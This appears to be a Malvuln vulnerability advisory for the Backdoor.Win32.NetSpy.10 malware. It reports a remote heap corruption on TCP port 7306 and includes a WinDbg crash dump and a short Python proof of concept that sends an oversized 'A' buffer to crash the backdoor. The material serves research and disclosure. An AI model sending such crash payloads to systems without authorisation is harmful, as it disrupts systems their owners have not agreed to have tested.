Backdoor.Win32.NetSpy.10 / Heap Corruption

us malvuln (US) us
Risk: High
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.NetSpy.10 Vulnerability: Heap Corruption Description: The malware listens on TCP port 7306 and drops an executable named "SPYNOTIFY.EXE" under SysWOW64 dir. Third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption overwriting EDX and EAX registers. Type: PE32 MD5: e677149c35cbba118655d9b133da8827 Vuln ID: MVID-2021-0235 Dropped files: SPYNOTIFY.EXE ASLR: False DEP: False Safe SEH: True Disclosure: 06/01/2021 Memory Dump: (17a0.8ec): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=042a0e28 edx=61616161 esi=00000003 edi=00000003 eip=7720ed3c esp=02730028 ebp=027301b8 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7720ed3c c21400 ret 14h 0:002> .ecxr eax=61616161 ebx=042a0a28 ecx=042a0e28 edx=61616161 esi=042a0e20 edi=042a0000 eip=771dfd18 esp=02730948 ebp=02730aa0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 ntdll!RtlpFreeHeap+0x298: 771dfd18 8b00 mov eax,dword ptr [eax] ds:002b:61616161=???????? 0:002> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe FAULTING_IP: ntdll!RtlpFreeHeap+298 771dfd18 8b00 mov eax,dword ptr [eax] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 771dfd18 (ntdll!RtlpFreeHeap+0x00000298) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 61616161 Attempt to read from address 61616161 PROCESS_NAME: Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 61616161 READ_ADDRESS: 61616161 FOLLOWUP_IP: Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915 00404915 5e pop esi MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000008ec BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_61616161 PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161 DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161 LAST_CONTROL_TRANSFER: from 771dfa0d to 771dfd18 STACK_TEXT: 02730aa0 771dfa0d 042a0a28 042a0a30 02730bc8 ntdll!RtlpFreeHeap+0x298 02730af4 00404915 042a0000 00000000 042a0a30 ntdll!RtlFreeHeap+0x7cd WARNING: Stack unwind information not available. Following frames may be wrong. 02730b0c 0040382a 042a0a30 00401977 042a0a30 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x4915 02730b14 00401977 042a0a30 042b0910 00403570 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x382a 02730b18 042a0a30 042b0910 00403570 0274ff80 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x1977 02730b1c 042b0910 00403570 0274ff80 042b0910 0x42a0a30 02730b20 00403570 0274ff80 042b0910 20393131 0x42b0910 02730b24 0274ff80 042b0910 20393131 65747962 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x3570 02730b28 042b0910 20393131 65747962 000a0d73 0x274ff80 0274ff80 761f8654 042b0910 761f8630 4ef3ea98 0x42b0910 0274ff94 77204a77 042b0910 a3721ebb 00000000 kernel32!BaseThreadInitThunk+0x24 0274ffdc 77204a47 ffffffff 77229eb8 00000000 ntdll!__RtlUserThreadStart+0x2f 0274ffec 00000000 00403570 042b0910 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: !heap ; ~2s; .ecxr ; kb SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827 IMAGE_NAME: Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe DEBUG_FLR_IMAGE_TIMESTAMP: 35cfac97 FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161_c0000005_Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe!Unknown BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_61616161_Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915 Followup: MachineOwner --------- 0:002> .exr -1 ExceptionAddress: 771dfd18 (ntdll!RtlpFreeHeap+0x00000298) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 61616161 Attempt to read from address 61616161 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=7306 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*6667 s.send(PAYLOAD) s.close() print("Backdoor.Win32.NetSpy.10 / Heap Corruption") print("MD5: e677149c35cbba118655d9b133da8827") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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